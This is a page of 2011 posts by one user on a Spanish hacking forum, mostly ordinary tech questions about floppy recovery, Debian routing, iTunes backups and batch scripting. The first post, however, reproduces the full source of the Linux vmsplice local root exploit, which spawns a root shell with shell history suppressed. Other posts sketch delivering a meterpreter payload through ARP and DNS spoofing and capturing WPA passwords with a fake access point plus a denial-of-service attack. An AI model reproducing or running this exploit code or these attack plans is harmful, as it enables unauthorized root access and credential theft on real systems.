elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Temas
Páginas: 1 2 3 [4] 5 6 7 8 9
31  Seguridad Informática / Bugs y Exploits / [Exploit] Error al Compilar exploit (Solucionado) en: 9 Noviembre 2011, 21:36 pm
Hola

No manejo muy bien las compilaciones aún, tanto de programas como de trozos de programas, como es este exploit.
El caso es que estoy intentando compilar el siguiente código.

Código:
/*
 * jessica_biel_naked_in_my_bed.c
 *
 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * This is quite old code and I had to rewrite it to even compile.
 * It should work well, but I don't remeber original intent of all
 * the code, so I'm not 100% sure about it. You've been warned ;)
 *
 * -static -Wno-format
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
 
#define PIPE_BUFFERS    16
#define PG_compound 14
#define uint        unsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)
 
struct page {
    unsigned long flags;
    int count;
    int mapcount;
    unsigned long private;
    void *mapping;
    unsigned long index;
    struct { long next, prev; } lru;
};
 
void    exit_code();
char    exit_stack[1024 * 1024];
 
void    die(char *msg, int err)
{
    printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}
 
#if defined (__i386__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif
 
#define USER_CS     0x73
#define USER_SS     0x7b
#define USER_FL     0x246
 
static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}
 
static_inline
void *  get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}
 
#elif defined (__x86_64__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif
 
#define USER_CS     0x23
#define USER_SS     0x2b
#define USER_FL     0x246
 
static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}
 
static_inline
void *  get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movq %%gs:(0), %0"
    : "=r" (curr)
    );
    return (void *) curr;
}
 
#else
#error "unsupported arch"
#endif
 
#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
    long, _vmsplice,
    int, fd,
    struct iovec *, iov,
    unsigned long, nr_segs,
    unsigned int, flags)
 
#else
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
 
static uint uid, gid;
 
void    kernel_code()
{
    int i;
    uint    *p = get_current();
 
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }  
 
    exit_kernel();
}
 
void    exit_code()
{
    if (getuid() != 0)
        die("wtf", 0);
 
    printf("[+] root\n");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
}
 
int main(int argc, char *argv[])
{
    int     pi[2];
    size_t      map_size;
    char *      map_addr;
    struct iovec    iov;
    struct page *   pages[5];
 
    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);
 
    printf("-----------------------------------\n");
    printf(" Linux vmsplice Local Root Exploit\n");
    printf(" By qaaz\n");
    printf("-----------------------------------\n");
 
    if (!uid || !gid)
        die("!@#$", 0);
 
    /*****/
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    pages[1] = pages[0] + 1;
 
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[0]);
    printf("[+] page: 0x%lx\n", pages[1]);
 
    pages[0]->flags    = 1 << PG_compound;
    pages[0]->private  = (unsigned long) pages[0];
    pages[0]->count    = 1;
    pages[1]->lru.next = (long) kernel_code;
 
    /*****/
    pages[2] = *(void **) pages[0];
    pages[3] = pages[2] + 1;
 
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[2]);
    printf("[+] page: 0x%lx\n", pages[3]);
 
    pages[2]->flags    = 1 << PG_compound;
    pages[2]->private  = (unsigned long) pages[2];
    pages[2]->count    = 1;
    pages[3]->lru.next = (long) kernel_code;
 
    /*****/
    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[4]);
 
    /*****/
    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
 
    /*****/
    map_size -= 2 * PAGE_SIZE;
    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
        die("munmap", errno);
 
    /*****/
    if (pipe(pi) < 0) die("pipe", errno);
    close(pi[0]);
 
    iov.iov_base = map_addr;
    iov.iov_len  = ULONG_MAX;
 
    signal(SIGPIPE, exit_code);
    _vmsplice(pi[1], &iov, 1, 0);
    die("vmsplice", errno);
    return 0;
}

Y me sale el siguiente error al intentar compilar con el siguiente comando: $ gcc exploit.c -o exploit

Código:
vmsplice.c:12:22: error: asm/page.h: No existe el fichero o el directorio
vmsplice.c: In function ‘main’:
vmsplice.c:193: error: ‘PAGE_SIZE’ undeclared (first use in this function)
vmsplice.c:193: error: (Each undeclared identifier is reported only once
vmsplice.c:193: error: for each function it appears in.)
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:204: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:205: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:224: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:225: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:241: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’

El exploit es el de vmslice, de escalada de privilegios local en Linux.

Supongo que el problema está en que me faltan cabeceras, ya que por ahí lo pone, pero no se como conseguirlas.

Y otra pregunta, si yo compilo el exploit en mi Ubuntu y quiero probar el exploit en un Ubuntu diferente no tendré que volver a compilarlo verdad?

Gracias de antemano.
32  Informática / Software / [recuperacion de dato] programa para reparar diquetes en: 20 Octubre 2011, 20:46 pm
Hola

Tengo un disquete de 3 1/2 al cual el formato se a perdido, como alguna vez me paso con un disco duro y pude recuperar los datos pensé que con un disquete podría hacer lo mismo, pero como son un poco antiguos en google no encuentro mucha información.

Encontré el PC-TOOLS, estoy buscándolo y lo probaré pero si alguien puede decirme alguno mas para ir descargando, o uno que crea que funcione mejor que el PC-TOOLS se lo agradecería.
33  Sistemas Operativos / GNU/Linux / Como quitar la imagen gráfica de arranque de un SO linux? en: 6 Octubre 2011, 12:57 pm
Necesito concretamente quitar la imagen de inicio del Backtrack 5 R1.

Es decír, la imagen del Dragón que sale cuando arranca el sistema.

Supongo que será una imagen que estará por /etc/ini.... pero no se donde buscarla ni tengo el nombre de ella para hacer un grep y poder cambiarla por otra, y también me gustaría saber la linea del script de inicio donde añade la linea de mostrar la imagen, si se puede claro.

Gracias de antemano.

He encontrado una forma en esta misma página en el apartado de trucos linux

Citar
Necesitaremos:
1.- El logotipo
2.- En fuente del kernel 2.6.x que vayamos a compilar.

Crearemos nuestra imagen con nuestro programa favorito (como buenos linuxeros que somos usaremos Gimp :wink: ), y la guardaremos en formato PNG.

A continuación ejecutamos los pasos siguientes:

1.- Ejecutar "convert logo.ext temporal1.ppm
2.- ppmquant 224 temporal1.ppm > temporal2.ppm
3.- pnmnoraw logo_passo2.ppm > logo_linux_clut224.ppm

Este logo lo copiaremos dentro del directorio donde hayamos descomprimido el kernel de Linux.
En mi caso, he utilizado un kernel 2.6.5 (en el 2.6.6 no me funcionaba bien la tarjeta de sonido), así que lo que hacemos sería:

cp logo_linux_clut224.ppm /usr/src/kernel-source-2.6.5/drivers/video/logo/.

Seguidamente, configuraremos el núcleo con las opciones que necesitemos para nuestro hardware.
Además tendremos que añadir el soporte de Framebuffer en el mismo: Dentro de "Device Drivers", nos vamos a "Graphics Support" y aqui encontraremos al final de la lista dos entradas: "Console display driver support" y "Logo configuration".
En "Console display driver support", seleccionaremos las opciones "Video mode selection support", "Framebuffer Console support", "Select compiled-in fonts", y "VGA 8x16 font"

Dentro de "Logo configuration", seleccionamos "Bootup logo" y "Standard 224-color linux logo".

Salimos, salvamos la configuración, compilamos e instalamos el kernel.

Sólo con esto, en el próximo arranque que realicemos veremos como Tux se ha reemplazado por la imagen de nuestra elección.


Eso me sirve para mi caso? es necesario hacer todos los pasos? se tiene que añadir alguno?

Gracias

34  Sistemas Operativos / Mac OS X / [Itunes] Como guardar las canciones de itunes para no perderlas en formateo en: 30 Septiembre 2011, 10:17 am
Estoy a punto de formatear el mac porque tiene unos 4-5 años y lo necesita, pero no quiero perder las listas de reproducción con sus carpetas ordenadas, ya que me costó una barbaridad tenerlo todo ordenado.

Si no se puede hacer una copia de seguridad de todo el itunes en general creo que voy a pasar de el, porque solo con ordenarme als canciones pierdo mucho tiempo.

Por cierto, la copia debería ser en archivo comprimido, no en cd's como me dice Itunes en "Archivo>biblioteca>copia de seguridad..." Ya que son 30 gigas de musica.

Otra pregunta que quería hacer es que sistema operativo OS creeis que iría mejor para un macbook 13 de carcasa blanca, de los viejos claro, ya que el nuevo, el Lion, no se si funcionará muy bien con este modelo.

Gracias de antemano.
35  Seguridad Informática / Hacking / [Metasploit] Exploits de windows 7 en: 20 Septiembre 2011, 23:35 pm
Saludos

Estoy con metasploit ahora mismo, mirando tutoriales, manuales y demás. Me he fijado, al menos en los que yo he visto, que los exploits que funcionan para Windows 7 son de ingeniería social, es decir ,que hace falta que el usuario-víctima que este al otro lado nos ayude un poco insertando una url en su navegador o abriendo un archivo.

Tengo dos preguntas...

La primera:
Si se puede hacer que, por ejemplo, cuando el usuario inserte una url (que suele ser la Ip del atacante directamente) se cargue el payload del meterpreter y para ser mas efectivo crear una combinación de arpspoofing con dnsspoofing para que no fuera tan ingeniería social? es decir que a la víctima se le diga que todas las direcciones web van directamente a la IP del atacante para cargarle el payload.

La seguna:
Existen exploits (en el metasploit)  que no se necesite ingeniería social para entrar en un Windows 7?


Gracias de antemano.
36  Comunicaciones / Redes / Enrutar de un router a otro con servidor Debian (Solucionado) en: 30 Agosto 2011, 16:38 pm
Saludos.



Estoy intentando hacer un servidor con Debian squeeze que analize todo el tráfico que pasa por el. Voy hacer un pequeño esquema.




>>>>>Router wifi (este router tiene que dar wifi)

Interfaces:
-Entrada/salida a la WAN: Este puerto va conectado al ordenador servidor.
                         Configuración: IP-192.168.1.2
                                                    NETMASK: 255.255.255.0
                                                   GATEWAY: 192.168.1.1
-Puerto hacia los 4 hosts ethernet y hosts wifis: La IP desde donde se configura el router
                         Configuracion: IP-192.168.2.1
                          NETMASK: 255.255.255.0


>>>>>Servidor con Debian (Es el que se encarga de dar conexión entre el router wifi y el router con internet)

Interfaces
-Eth0: Este puerto va conectado al router con internet
                              Configuración: IP-192.168.0.199
                              NETMASK:255.255.255.0
                              GATEWAY:192.168.0.1
-Eth1: Este puerto va conectado al router wifi.
                              Configuración: IP-192.168.1.1
                              NETMASK:255.255.255.0



>>>>>>>>>>>Router internet (Este dispositivo da internet a toda la red, tiene conectado el ordenador servidor)

Interfaces
-WAN: Configurado correctamente con ip publica

-4 puertos ethernet: Este dispositivo da internet a 3 hosts mas aparte del servidor
                                        Su IP de cofiguración es: 192.168.0.1


                                                     


El router wifi tiene configurado los DNS igual que el router con internet, y la puerta de enlace es el servidor Debian.

He puesto el servidor debian en forwarding (  echo 1 > /proc/sys/net/ipv4/ip_forward )y aún así no me enruta el tráfico del router wifi al router con internet.

El router wifi esta en modo route en vez de bridge, bueno, realmente lo he probado de las dos formas.

Lo único que he podido hacer desde el router wifi es un ping al servidor debian y que se vea desde la interfaz eth1 del servidor Debian. Pero nada mas.

Que estoy haciendo mal o que me falta?

Gracias de antemano.
37  Seguridad Informática / Hacking Wireless / Conseguir WPA falseando el punto de acceso en: 29 Agosto 2011, 12:10 pm
Saludos.

Mirando las redes honeypots y las técnicas que usan para crear redes wifi identicas a las legitimas para así analizar los ataques se me a ocurrido que podría hacerse al reves.

Es decir, se podría crear una wifi con el nombre de la wifi a la que se quiere atacar. A la wifi legítima le atacamos con un ataque de DoS para que este inactiva y entonces el cliente se conecta a la wifi falsa ingresando de nuevo su contraseña WPA o incluso su Usuario y contraseña en WPA2.

No se si esto es factible o no, seguramente si lo es ya habrá gente que lo habrá probado.

Si alguien lo ha probado o quiere probarlo creo que solo haría falta levantar la wifi con un ordenador con wifi, con el mismo nombre y el mismo tipo de seguridad que la wifi legítima. Pero ahora si la contraseña que se ingrese en el router (el ordenador) falso se debe almacenar de alguna forma (alomejor existe algún software para hacerlo), esto supongo que se hará como en los routers SOHO, en PHP. Idioma de programación que aún no conozco mucho o al menos no lo suficiente.


A ver que os parece la idea.

Si ya existe y teneis información os agradecería que me la pasarais.

38  Programación / Scripting / [Batch] Dudas sobre FOR (solucionado) en: 26 Agosto 2011, 13:27 pm
Saludos.


Estoy intentando hace una secuencia de pings a distintos host de una red y se me plantea un problema.

Estoy intentando hacer ping a todos los host de una red de clase A. Y quiero que sea secuancialmente, es decir de esta forma:

ping 10.0.0.1
ping 10.0.0.2
ping 10.0.0.3
...

Y que cuando llegue a 254 pase al siguiente grupo y siga haciendo ping, así:

ping 10.0.1.1
ping 10.0.1.2
ping 10.0.1.3
...

Pues este es el problema, no se como hacer que for me consiga esto, lo primero que se me ocurrio es la barbaridad de poner un for dentro de un for, no se ni si funciona, pero a mi no me funcionó.

Pongo el código para verlo mas claro, se que no está bien planteado porque son 3 las cifras a cambiar y solo hay 2 for, pero es nada mas un ejemplo:

Citar

For /l %%i IN (1,1,254) do (
      For /l %%e (1,1,254) do (
            ping -n 1 10.%%i.%%e.%%e
            )
     ping -n 1 10.%%i.%%i.%%e
     )

Bueno, pido algo de ayuda, una pista o algo por el estilo y si se puede hacer claro.  Ya se que batch es muy limitado pero me gusta conocer los limites de las cosas  :).

Gracias de antemano
39  Sistemas Operativos / Windows / [cmd] comando para sacar la netmask en: 25 Agosto 2011, 11:34 am
Saludos

Estaba buscando un comando parecido a este:

Código
  1. netsh diag show ip

Pero para la máscara de red.

Gracias por leer
40  Sistemas Operativos / Windows / [cmd] comando equivalente a who (linux) en Windows (SOLUCIONADO) en: 19 Agosto 2011, 18:27 pm
Saludos

Quería saber que comando es el equivalente a who en Windows.

Es decir, el comando que te dice con que usuario te has "logueado" y estas actualmente en consola.

Creo que podría ser con una opción de "net user", pero no se cual.

Gracias de antemano.
Páginas: 1 2 3 [4] 5 6 7 8 9
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines